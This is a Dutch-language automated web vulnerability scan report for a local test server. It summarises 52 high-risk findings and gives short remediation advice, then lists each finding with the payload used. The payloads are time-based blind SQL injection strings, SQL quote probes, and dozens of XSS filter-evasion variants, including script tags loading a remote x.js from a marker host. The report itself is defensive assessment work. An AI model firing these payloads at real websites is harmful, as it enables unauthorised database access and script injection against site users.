Scan Rapport

Algemene Informatie

Klant: example

Bedrijf: example-company

Email: example@email.nl

Scan Informatie

URL: http://localhost:8888

Server: Apache

Scan type: Full Scan

Start tijd: 2017-09-14 17:42:03

Eind tijd: 2017-09-14 17:43:57

Scan tijd: 2 minuten

Scan Resultaten

Dreigingsniveau (Kleur code)	Niveau	Omschrijving
	4	Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren.

Totale dreigementen gevonden

Hoog: 52

gemiddeld: 0

Laag: 0

Categorie dreigementen	Dreigingsniveau	Aantal	Omschrijving
BlindSQLi	hoog	8	Blind SQL Injections is een query injectie techniek waarbij de hacker True en False vragen stelt aan de database om te bepalen of een database kwetsbaar.
SQLi	hoog	2	SQL Injection is een query injectie techniek dat gebruikt wordt om software applicaties aan te vallen met SQL statements met als doel data uit een database op te vragen.
XSS	hoog	42	Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's.

Advies: SQLi en Blind SQLi

SQL injectie is helaas nog steeds een veel voorkomende kwetsbaarheid.
Maar gelukkig zijn er een aantal oplossingen hiervoor bedacht.
Hieronder een lijst met simpele technieken om SQL injecties te verkomen.

Regels

- Gebruik maken van Prepared Statments
- Gebruik maken van opgeslagen procedures (zoals data)
- Een White List maken van toegestaande invoer
- Escaping van gebruikersinput.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij
de aanvaller client-site code injecteert op webpagina.
Er zijn twee basis regels waar een website aan moet
voldoen om dit probleem te verkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestaande locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

Detials van gevonden kwetsbaarheden

ID: 847

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#1

Error: http://localhost:8888/index.php?id=sleep%2810%29%231%0A

WASC ID: 19

Datum: 2017-09-14 17:42:23

ID: 848

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#[LF]1

Error: http://localhost:8888/index.php?id=sleep%2810%29%23%5BLF%5D1%0A

WASC ID: 19

Datum: 2017-09-14 17:42:43

ID: 849

Module: blindsql	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: 1 or sleep(10)#1	
Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%231%0A	
WASC ID: 19	
Datum: 2017-09-14 17:42:53	

ID: 850	
Module: blindsql	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: 1 or sleep(10)#[LF]1	
Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%23%5BLF%5D1%0A	
WASC ID: 19	
Datum: 2017-09-14 17:43:03	

ID: 851	
Module: blindsql	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: 1 and sleep(10)#1	
Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%231%0A	
WASC ID: 19	
Datum: 2017-09-14 17:43:14	

ID: 852	
Module: blindsql	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: 1 and sleep(10)#[LF]1	
Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%23%5BLF%5D1%0A	
WASC ID: 19	
Datum: 2017-09-14 17:43:24	

ID: 853	

Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	1/**/or/**/sleep(10)#1
Error:	http://localhost:8888/index.php?id=1%2F%2A%2A%2For%2F%2A%2A%2Fsleep%2810%29%231%0A
WASC ID:	19
Datum:	2017-09-14 17:43:42

ID:	854
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	1/**/and/**/sleep(10)#1
Error:	http://localhost:8888/index.php?id=1%2F%2A%2A%2Fand%2F%2A%2A%2Fsleep%2810%29%231%0A
WASC ID:	19
Datum:	2017-09-14 17:43:52

ID:	855
Module:	sql
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	query='
Error:	You have an error in your SQL syntax
WASC ID:	19
Datum:	2017-09-14 17:43:56

ID:	856
Module:	sql
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	query=' or 1=1
Error:	You have an error in your SQL syntax
WASC ID:	19
Datum:	2017-09-14 17:43:56

ID:	857

Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <script>alert('ej228hmkq3')</script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 858	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <script>alert("ej228hmkq3")</script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 859	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <ScRiPt>alert('ej228hmkq3')</sCrIpT>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 860	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <ScRiPt>alert("ej228hmkq3")</sCrIpT>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 861	

Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <script>String.fromCharCode(0,ej228hmkq3,1)</script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 862	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <ScRiPt>String.fromCharCode(0,ej228hmkq3,1)</sCrIpT>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 863	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <script src=http://ej228hmkq3/x.js></script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 864	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <ScRiPt src=http://ej228hmkq3/x.js></sCrIpT>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 865	

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script[TAB]src=http://ej228hmkq3/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:56

ID: 866

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt[TAB]src=http://ej228hmkq3/x.js></sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:56

ID: 867

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=alert("ej228hmkq3")>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:56

ID: 868

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=alert('ej228hmkq3')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:56

ID: 869

Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <img src=. onerror=String.fromCharCode(0,ej228hmkq3,1)>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 870	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <img[TAB]src=.[TAB]onerror=String.fromCharCode(0,ej228hmkq3,1)>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 871	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <img src=javascript:alert('ej228hmkq3;')>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID: 872	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27ej228hmk	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Datum: 2017-09-14 17:43:56	

ID:	873
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	
<img[TAB]src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x2
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	874
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<script >alert('ej228hmkq3')</script >
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	875
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<script >alert("ej228hmkq3")</script >
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	876
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<script >String.fromCharCode(0,ej228hmkq3,1)</script >
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8

Datum: 2017-09-14 17:43:57

ID: 877

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt >String.fromCharCode(0,ej228hmkq3,1)</ sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 878

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt[TAB]>String.fromCharCode(0,ej228hmkq3,1)</[TAB]sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 879

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/>alert('ej228hmkq3')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 880

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/>alert("ej228hmkq3")</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 881

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert('ej228hmkq3')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 882

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert("ej228hmkq3")</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 883

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/ src=http://ej228hmkq3/x.js></script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 884

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/ src=http://ej228hmkq3/x.js></sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum:	2017-09-14 17:43:57

ID:	885
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt>alert('ej228hmkq3')</script>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	886
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt>alert('ej228hmkq3')</scr</script>ipt>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	887
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt>alert("ej228hmkq3")</script>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	888
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt>alert("ej228hmkq3")</scr</script>ipt>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8

Datum:	2017-09-14 17:43:57

ID:	889
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt>String.fromCharCode(0,ej228hmkq3,1)</script>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	890
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt>String.fromCharCode(0,ej228hmkq3,1)</scr</script>ipt>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	891
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt src=http://ej228hmkq3/x.js></script>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Datum:	2017-09-14 17:43:57

ID:	892
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt src=http://ej228hmkq3/x.js></scr</script>ipt>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8

Datum: 2017-09-14 17:43:57

ID: 893

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object data="javascript:alert('ej228hmkq3')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 894

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object data=javascript:String.fromCharCode(0,ej228hmkq3,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 895

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object[TAB]data=javascript:String.fromCharCode(0,ej228hmkq3,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 896

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert('ej228hmkq3')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 897

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert("ej228hmkq3")></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 898

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:String.fromCharCode(0,ej228hmkq3,1)></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57